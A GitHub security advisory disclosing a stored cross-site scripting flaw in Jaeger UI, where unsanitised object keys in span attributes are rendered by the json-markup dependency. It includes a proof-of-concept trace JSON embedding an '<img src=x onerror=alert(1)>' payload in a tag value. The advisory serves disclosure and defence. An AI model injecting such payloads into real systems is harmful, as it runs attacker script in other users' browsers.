Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r
Jaeger UI is using the json-markup
dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable
is vulnerable to XSS.
The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49
{
"data": [
{
"traceID": "076ef819cc06c45a",
"spans": [
{
"traceID": "076ef819cc06c45a",
"spanID": "076ef819cc06c45a",
"flags": 1,
"operationName": "and open 'attributes'",
"references": [],
"startTime": 1678196149232010,
"duration": 13485,
"tags": [
{
"key": "sampler.type",
"type": "string",
"value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
}
],
"logs": [],
"processID": "p1",
"warnings": null
}
],
"processes": {
"p1": {
"serviceName": "click here",
"tags": [
]
}
},
"warnings": null
}
],
"total": 0,
"limit": 0,
"offset": 0,
"errors": null
}
This is a XSS on Jaeger UI. XSS can be used to run JavaScript.
{ "nvd_published_at": null, "cwe_ids": [ "CWE-79" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2023-07-11T22:45:37Z" }